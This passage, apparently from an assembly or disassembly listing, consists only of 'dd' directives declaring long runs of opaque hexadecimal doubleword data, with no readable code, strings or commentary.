0A9F35C88h dd 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h, 141EEB67h dd 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h, 86164839h dd 524A1CEh, 6F315314h, 20C897Ah, 48202523h, 0C3001CBCh dd 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h, 2301206h dd 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h, 84000469h dd 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh, 0B9E1C91Fh dd 6B002812h, 38201042h, 0D6591F95h, 0A1880336h, 13B01757h dd 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h, 0AD3F90BBh dd 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah, 0C2D9093h dd 18598832h, 90067D24h, 713F8CE3h, 3044802Bh, 6625AB12h dd 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h, 0BCB0424h dd 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h, 165BF362h dd 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h, 1C041433h dd 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h, 0D230CCAh dd 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h, 0EB51F0B4h dd 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h, 0CAA8204Ah dd 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h, 89B0C308h dd 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h, 84E07A9h dd 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h, 7685EA14h dd 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh, 1C1F700h dd 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h, 3CE9E827h dd 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh, 80899F4Ah dd 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch, 0EE881E45h dd 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h, 0B0683CE4h dd 647585h, 0B80A7320h, 55357469h, 0C305E901h, 0B448F87Eh dd 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh, 123BB222h dd 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h, 8908A314h dd 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h, 9E059CA9h dd 0FE081380h, 749CB254h, 61800E1h, 2F23B459h, 0FA03A25Ch dd 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h, 172DE4D3h dd 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh, 0A4E37A00h dd 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h, 0D0AC795Eh dd 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h, 17039156h dd 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h, 1BEC80E8h dd 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh, 6132B9C6h dd 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h, 50C18624h dd 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h, 9DBFFB83h dd 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h, 14030F3Bh dd 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh, 0FEE340A6h dd 89F400E3h, 2EBF804h, 0C800C031h, 0BF841090h, 0C970F1h dd 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h, 7F349455h dd 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h, 0C0F9D101h dd 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh, 0D54F850Fh dd 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh, 91005ADCh dd 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h, 1B04E57Ch dd 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h, 7CD28580h dd 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h, 4A02C083h dd 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h, 6A2AC22h dd 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h, 30A58559h dd 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h, 0AC9083F6h dd 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h, 0A2900D66h dd 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h, 0C7C500EFh dd 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h, 34FB1056h dd 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h, 91590FEh dd 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h, 7C86C2FFh dd 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h, 20048D0h dd 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh, 830F3D05h dd 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h, 1F2F010Ch dd 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h, 0C1FE00E2h dd 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh, 48777EB8h dd 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h, 0FD8A3AE7h dd 0F6BF2780h dd 0E0B41B4h, 0E1230101h, 151DC384h, 7CF88F8h, 0B1E9EDA4h dd 810FF9EEh, 0D77C6880h, 0E8001748h, 0FD19E1F2h, 1560A1Dh dd 463576DAh, 0DC2A5420h, 250310B2h, 7475F8Bh, 0F156E06Ah dd 3AC07788h, 7FBD14Ah, 956EEB62h, 9D8B50CEh, 83184787h dd 14D010F0h, 0D4D63C97h, 0B0FE880h, 53D23E01h, 8A71CD00h dd 0B78E13B9h, 26100027h, 164AAB95h, 63EED84Eh, 0EC835707h dd 89D1673Dh, 0B5609940h, 0F27B0009h, 8435D337h, 49008FAEh dd 0EC5EDD2Fh, 2130879h, 982E8B5Ch, 0A5606353h, 0CC03A869h dd 28853AF3h, 435AE020h, 724000B8h, 58E14BECh, 0E244D2Ch dd 56004441h, 5357AED6h, 0D83900FAh, 68518376h, 0CA00AD3Eh dd 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh, 0F0444007h dd 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh, 78FF3C3Eh dd 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h, 6F00794Ah dd 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h, 1F1345E1h dd 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h, 523CA546h dd 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh, 0BF0B3CD5h dd 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh, 2400D23Ch dd 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh, 0D700C8FCh dd 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h, 43C2830Fh dd 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh, 2014510h dd 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h, 11C1D08h dd 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h, 0F29FEDAh dd 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h, 80401C93h dd 758D3803h, 0F9601317h, 2870A203h, 53620B72h, 0CC80C214h dd 55B39296h, 4A00DB79h, 541825BCh, 852120h, 0A542F4ADh dd 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch, 1D453E9h dd 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h, 127113Ch dd 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h, 443D6C61h dd 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h, 6C118721h dd 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh, 0DB45C6E1h dd 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch, 74C3FB3Ah dd 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h, 75804CFEh dd 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh, 1F84F335h dd 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh, 1F41F1h dd 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h, 0B8A02E0h dd 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh, 0D9B47C01h dd 50E46E53h, 232A0208h, 28877141h, 3B83FC80h, 76B8D12Eh dd 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h, 8A7B1812h dd 3A3901F2h, 0E758250h, 41020742h, 78E95303h, 1CCBC4h dd 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h, 0FFC50F11h dd 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h, 0F84D0067h dd 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h, 311600CFh dd 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch, 91BD072Ah dd 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh, 0AEAD0141h dd 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah, 0EC2CA7D4h dd 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h, 0E0F3CB9Ch dd 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h, 0A6C3202Fh dd 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh, 0DAC043C1h dd 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h, 0E42CC8FCh dd 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh, 20E14E1h dd 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh, 0E9ABA204h dd 70816641h, 4717BA62h, 0C50040A7h, 27A09184h, 24F50774h dd 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h, 8CFE89h dd 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h, 0AE80841Fh dd 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h, 2300A56Ah dd 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h, 5C0038EEh dd 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h, 93E47648h dd 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh, 0C10074B1h dd 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh, 0DD07901Fh dd 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch, 0A316A80Fh dd 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh, 173936E9h dd 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch, 830011BCh dd 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h, 0C201E300h dd 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h, 14012A07h dd 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh, 0C3006978h dd 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h, 790407E0h dd 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h, 0BA1C1318h dd 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h, 3D008BC5h dd 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h, 8D6C9000h dd 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h, 0E1541A00h dd 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h, 4D21832h dd 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh, 0FA81F800h dd 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch, 0BB0EF43Dh dd 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch, 100E954h dd 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh, 2AC31000h dd 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh, 0FC2DE241h dd 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh, 87D5355Ah dd 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh, 42001D40h dd 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh, 0AC09B93Fh dd 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h, 0BE11F9ECh dd 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h, 0F8C7448Ch dd 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h, 0F72765C5h dd 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh, 158A0582h dd 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h, 0E37F02BAh dd 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh, 127B81h dd 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h, 124300E5h dd 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h, 352900CBh dd 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h, 0C6F7690Dh dd 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h, 5E1D0064h dd 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h, 0D9D24EFFh dd 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h, 2833B32h dd 3E92042Ch, 3B66A080h, 7127506h, 76C98500h, 45BE8B20h dd 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah, 0D400EC0h dd 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h, 4790C362h dd 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h, 0F01F84h dd 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh, 344F9B40h dd 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h, 0A0380C4h dd 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h, 19FA00C4h dd 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh, 899E2099h dd 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h, 320D0598h dd 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh, 1A6DC9h dd 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h, 0B02E7E1Ch dd 7500F25Dh, 43C61611h dd 28FB05h, 0C134E94Ah, 0A282701Dh, 1C8E9507h, 857214C0h dd 0D7C0C0D2h, 0B4481FA0h, 5C80FAEAh, 0F78023Ah, 0F7008537h dd 0B26BBA13h, 710D49Ch, 80792075h, 1757D054h, 11001993h dd 0D2515303h, 0A04D14h, 0F78B4781h, 0D0AA4256h, 9EFFB300h dd 0E8FCEF51h, 136100D3h, 7F468A3Ch, 88050920h, 699D7F9h dd 87578580h, 30871C2h, 0A2B45005h, 604C6A8Eh, 4DE82C66h dd 49271B00h, 0C0223Dh, 0BAE12A76h, 0AA922E38h, 7B430700h dd 0EE811EE0h, 971400A2h, 754F8568h, 0A91328E2h, 6100CA21h dd 951ABB92h, 610D0705h, 50201253h, 915189D4h, 80D00E3Ch dd 3C4F9BE8h, 1F7F55h, 522228DCh, 0A11392F0h, 0E6E55800h dd 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h, 4300EC90h dd 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh, 792A4D6h dd 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h, 0C0655D64h dd 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh, 0AF6CB8h dd 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h, 4021FD40h dd 6C7002Ch, 2811D6D4h, 9B03CB42h, 22431AFDh, 7AD998AAh dd 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh, 75B9A609h dd 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h, 41243EF9h dd 0D794E8h, 8DD38549h, 0E8CB3122h, 7B80BE1Eh, 4C7E04C0h dd 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h, 52D6EE00h dd 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h, 80E7438h dd 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h, 0CF806A9h dd 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh, 3B2C9FA0h dd 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h, 0B008F49Fh dd 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h, 0AA810057h dd 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h, 7F17F8C1h dd 0EC880E11h, 29604276h, 5245CC6h, 55455900h, 0EB3125B2h dd 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h, 77F1799Ch dd 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh, 0EE9320h dd 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h, 93F20052h dd 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h, 9A16B192h dd 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h, 0B87E007Eh dd 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh, 0BD200735h dd 95F00A9Eh, 3CE25EAh, 0DB481408h, 0F7A0D81Eh, 3D00A5D0h dd 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h, 107D865h dd 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h, 0C8005220h dd 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h, 46BE5105h dd 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h, 0D900AB10h dd 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h, 0BE005CD4h dd 0F8573ECEh, 54964h, 0B814922Ah, 6741526h, 5869A703h dd 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h, 10FA03B2h dd 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh, 5E0E8803h dd 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h, 7A66320Eh dd 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh, 0D825996Fh dd 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h, 2ACBC907h dd 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h, 7800A06Bh dd 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h, 0A7B36400h dd 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh, 84002065h dd 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh, 190507Fh dd 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h, 4B011029h dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh dd 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh dd 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h dd 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh, 16EC89h dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh dd 0C3E33400h, 0C0BBB121h dd 31AA3A35h, 0F184B303h, 0C3A51F04h, 3BA80628h, 3A3064A0h dd 9160FE09h, 7522306Ch, 8EAA6860h, 0E4DAF200h, 80142E66h dd 0D4503AC0h, 1F096A81h, 0E55185CEh, 0EAE7EC89h, 835D8200h dd 0FECA522Dh, 0C7B900AAh, 1015944Fh, 88002A93h, 28AB5168h dd 1F83F0B4h, 0F10C6Dh, 0EC174BEEh, 6500E035h, 62C45EE1h dd 0FE4E344h, 9514E589h, 29F3620h, 0FA00A2BBh, 488858B5h dd 2B082Ch, 940183Ch, 0AA49FFB0h, 7393C500h, 5328BF07h dd 641500C3h, 99200634h, 2B0578DDh, 5B5C1189h, 60A478C2h dd 30AEB15h, 0EC4502FAh, 0ADD85852h, 3B004683h, 0FFAE6787h dd 581849B9h, 0BE3E568Fh, 0F8712ACh, 96C0A938h, 2C52D426h dd 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah, 8F748D2h dd 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch, 0A5349714h dd 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h, 0CE64AA58h dd 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h, 508388EBh dd 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh, 9A5BF8h dd 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h, 0FEF28Fh dd 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h, 2785F8h dd 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h, 5F4452B8h dd 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h, 826F8A62h dd 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h, 10658100h dd 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh, 0C500249Ch dd 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh, 1331EA0Eh dd 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h, 0D6755420h dd 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h, 0A126B700h dd 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h, 0FBA1FE45h dd 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h, 75323C48h dd 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h, 0F09004Bh dd 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah, 407009F5h dd 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h, 91BDC600h dd 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h, 39261980h dd 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh, 0E8CEB09Ah dd 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h, 8DFC5309h dd 7D4EA48h, 5BC3048Ah, 212450DDh, 0D200AAB7h, 0DB94719Ch dd 6F5F44Bh, 0B23A4BBh, 0C20098D1h, 3E988ACBh, 802113h dd 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh, 76FCC086h dd 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h, 2893DB49h dd 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch, 9F0243A8h dd 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh, 11010033h dd 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh, 0DAAD330Ch dd 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h, 91DFC8A8h dd 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h, 5B301E21h dd 63FC09Eh, 56846B4Ah, 0D3A38B2Ch, 0D044CF07h, 32EB6D70h dd 40B20007h, 343F0937h, 26002D1Fh, 18465698h, 0F48071B5h dd 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h, 0D5CFAAh dd 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h, 0F3FE63Ah dd 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h, 0E14F6Ah dd 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h, 4C092293h dd 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah, 9E031BB8h dd 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h, 7DD8C560h dd 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h, 3465401h dd 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh, 0F0F77A85h dd 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh, 7A340047h dd 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h, 54F20E3Eh dd 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h, 0B752B620h dd 0F0F6F1h, 0D092717Ah, 0FE81385Ah, 13DF8C00h, 883F0848h dd 0A58B01B0h, 5E956B77h, 0BBBD3092h, 0D3005BF0h, 2704F3F0h dd 11B974h, 9669508Ah, 1729BBC4h, 587CC80Bh, 0FBCF0048h dd 3EED805Ch, 0FD00C74Eh, 35BFC195h, 320009E5h, 0E1731E82h dd 85CA3Bh, 54862F07h, 109E6AE7h, 37B47E01h, 4E05ACBEh dd 0B16FE8C7h, 393B3827h, 7822F980h, 0BF8EC59h, 6A3A401Ch dd 0C38C49C0h, 2AFE909h, 97B4ED7Ah, 11601674h, 2FE21CC7h dd 0B1283C00h, 0DF1ECBF9h, 0AD3D00DDh, 8AFA2730h, 653A22D2h dd 34F49E60h, 9FCF3B40h, 961152h, 0FF8E2E25h, 553C0310h dd 0AF04E4E5h, 1B0061F2h, 0D5A71477h, 37F4062h, 0A23F9A2Ch dd 0C590832Eh, 9D054B6Ah, 0C35691Fh, 455ACD00h, 0E79117h dd 324A8110h, 22C2098Fh, 0EFB8B000h, 0D6E22EFCh, 0AEEE00A7h dd 5F74DADFh, 6A00B945h, 0BA8D4CD5h, 1BDE453h, 0D6F8A032h dd 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h dd 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h, 388712h dd 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h dd 0C732D8h, 